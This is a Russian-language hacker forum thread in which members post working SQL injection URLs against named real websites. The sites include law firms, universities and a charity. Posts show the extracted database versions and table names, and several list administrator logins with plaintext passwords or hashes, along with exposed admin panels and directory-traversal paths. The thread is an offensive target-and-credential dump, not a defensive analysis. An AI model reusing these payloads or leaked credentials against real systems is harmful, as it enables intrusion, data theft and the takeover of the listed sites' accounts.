SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://www.technolex-anwaelte.de/index.php?id=43&news_id=1+UNION+SELECT+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
    php-info:
    Code:
    http://www.technolex-anwaelte.de/info.php
    админка:
    Code:
    http://www.technolex-anwaelte.de/admin/
    Просмотр дир:
    Code:
    http://www.technolex-anwaelte.de/admin/index_upload.php?dir=../
    Пароли к админке:
    1:technolex:technolex!
    2:14v:14v
     
  2. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://kiteonline.net/pages/news_detail.php?id=-34+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11

    Database Version: 5.0.67-community
    Database name: kiteonli_dbkite
    User name: kiteonli_kitesit@localhost

    In database kiteonli_dbkite found table adminusers
    1 : firstname
    2 : lastname
    3 : email
    4 : username
    5 : password
    6 : approval
    7 : tbDate
    8 : userid
     
    1 person likes this.
  3. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.stadiya.ru/news/?id=-434+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9--
    [email protected]:stadiya_:4.1.22-log

    тИЦ: 100
    PR:4
     
    1 person likes this.
  4. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    http://www.sim.misto.zp.ua/show.php?id=-746+union+sele ct+concat(u ser(),0x0B,database(),0x0B,version())+--+
    http://www.sim.misto.zp.ua/show.php?id=-746+union+select+concat(TABLE_NAME,0x0B,COLUMN _NAME)+from+information_schema.columns+lim it+179,10+--+

    вот только немогу ниче с табл админ взять, не пойму че это, если у кого получется стянуть с админа свисните в личку, пасиб
     
  5. Климент_Ворошилов

    Joined:
    8 Dec 2007
    Messages:
    21
    Likes Received:
    10
    Reputations:
    0
    _http://www.mango-mango.ru/news/index.php?page=single&rec=21
    _http://www.mango-mango.ru/news/index.php?page=single&rec=21+order+by+7+--+
    _http://www.mango-mango.ru/news/index.php?page=single&rec=-21+union+select+1,2,3,4,5,6,7+--+
    _http://www.mango-mango.ru/news/index.php?page=single&rec=-21+union+select+1,version(),database(),4,user(),6,7+--+

    version - 4.1.22-sta
    database - mangoman_base
    user - mangoman_user@localhost

    Таблицы:
    customers
    articles
    news
     
  6. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    Database Version: 5.0.67-community-log
    Database name: flash_flashadvisor
    User name: flash_flash@localhost



    ps. 1-ая и 5-ая учётки админы)
    ___________________________________________________________________

     
    #9226 F4R, 10 May 2009
    Last edited: 10 May 2009
  7. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.go2usa.ru/news.php?id=-143+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9--
    sunnyart_usa@localhost:4.0.27-standard:sunnyart_usa
    PR:2
    тИЦ: 40


    Code:
    http://www.avia-line.ru/news/index.php?id=-23+union+select+concat_ws(0x3a,user(),version(),database())+from+users--&lang=rus
    avialin7_pilot@localhost:4.0.27-log:avialin7_avia
    Code:
    http://www.avia-line.ru/news/index.php?id=-23+union+select+concat_ws(0x3a,username,password)+from+users--&lang=rus
    admin1:2d40ebdd5c4dd48caba41846aa81c820fb51e67f
    PR:2
    тИЦ: 60
     
    #9227 ..::TROYAN::.., 10 May 2009
    Last edited: 10 May 2009
    1 person likes this.
  8. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    http://www.art-legion.com/page.php?id=-1%20union%20select%201,2,concat_ws(0x3a,id,login,password,name,email,priv),4,5,6,7,8,9,10%20from%20alegion_admins%20--

    1:artmooncat:artsql:superadmin:[email protected]:0
     
    2 people like this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Comunist's

    http://www.utcm.md/index.php?action=content&id=-6%27+union+select+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os)/*



    Database Version: 5.0.27
    Database name: utcmmd
    User name: utcmmd@localhost
    Os : portbld-freebsd6.2
     
    2 people like this.
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.varo-inform.com/main.php?p=u.-1+UNION+SELECT+concat_ws(0x3a,user()%20,database(),version(),@@version_compile_os),2/*.1.0



    Database Version: 4.1.22
    Database name: varo_test
    User name: varo_test@localhost
    Os : pc-linux-gnu
     
  11. molotovkeyt

    molotovkeyt Member

    Joined:
    2 Nov 2008
    Messages:
    2
    Likes Received:
    8
    Reputations:
    -1
    тИЦ: 30, PR: 4
    http://www.brigsp.ru/news/news.php?id=-101+union+select+1,2,version(),4,5,6,7--
     
  12. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Еда ПР5
    http://art.colorado.edu/hiaff/interview.php?id=47&cid=-3+union+select+1,2,3,4,5,6,7+from+mysql.user/*
     
  13. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.chernayagora.com/view_page.php?page=-10+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9--

    4.1.22-log:chernay3_goracom:chernay3_odmin@localhost
     
    _________________________
  14. Dimionx

    Dimionx Elder - Старейшина

    Joined:
    28 Aug 2008
    Messages:
    37
    Likes Received:
    12
    Reputations:
    4
    www.qpc.edu.pk

    Code:
    http://www.qpc.edu.pk/news.php?id=19+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8
    Версия - 5.0.67-community
    Юзер - qpcedu_qpcadmin@localhost
    БД - qpcedu_qpc

    Табличка юзеры:

    Code:
    http://www.qpc.edu.pk/news.php?id=19+union+select+1,concat_ws(0x3a,user_name,user_password),3,4,5,6,7,8+from+t_user
     
  15. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Ещё ЕДА
    http://chick.cis.udel.edu/reactome_v3/update.php?ID=-373867+union+select+1,2,column_name,4,5+from+information_schema.columns/*&PATH=71406&R=2
     
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.cascadeaids.org {PR 5}
    Code:
    http://www.cascadeaids.org/page.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user())/*
    5.0.27-max-log : cap: cap@localhost

    tables:
    Code:
    http://www.cascadeaids.org/page.php?id=-1+union+select+group_concat(table_name)+from+information_schema.tables/*
     
  17. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.1arenda.ru/flat.php?idflat=-152+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
    [email protected]:db_ooospark_1:4.1.22
    PR:4
    тИЦ: 200
     
  18. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Code:
    http://www.videofil.net.ua/prices.php?id=-1+union+select+1,2,concat_ws(0x3a,id,login,password),4,5,6,7,8+from+users+--+
    1:admin:b4d5caaf5ef14f659142515d1d7fe0a9
     
  19. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.catsmd.com/index.php?lang=ru&lnk=pomet.php?-4+union+select+1,2,3,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),5,6,7,8,9,10,11,12,13,14,15,16--


    Database Version: 5.1.32
    Database name: catsmdc_cats
    User name: catsmdc_root@localhost
    Os : portbld-freebsd7.0
     
  20. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.academianavigatio.org {PR 2}
    Code:
    http://www.academianavigatio.org/angielski/projects_more.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15--
    5.0.75-log : anavigatio : [email protected]

    columns where table name user:
    Code:
    http://www.academianavigatio.org/angielski/projects_more.php?id=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+table_name=0x75736572--
    id,login,haslo,imie,nazwisko,data_utworzenia,prawo

    columns info where table name user:
    Code:
    http://www.academianavigatio.org/angielski/projects_more.php?id=-1+union+select+1,concat_ws(0x3a,id,login,haslo,imie,nazwisko,data_utworzenia,prawo),3,4,5,6,7,8,9,10,11,12,13,14,15+from+user--
    1 : an : qwer1234 : ADMIN : ADMIN: 0000-00-00 : 1
     
Thread Status:
Not open for further replies.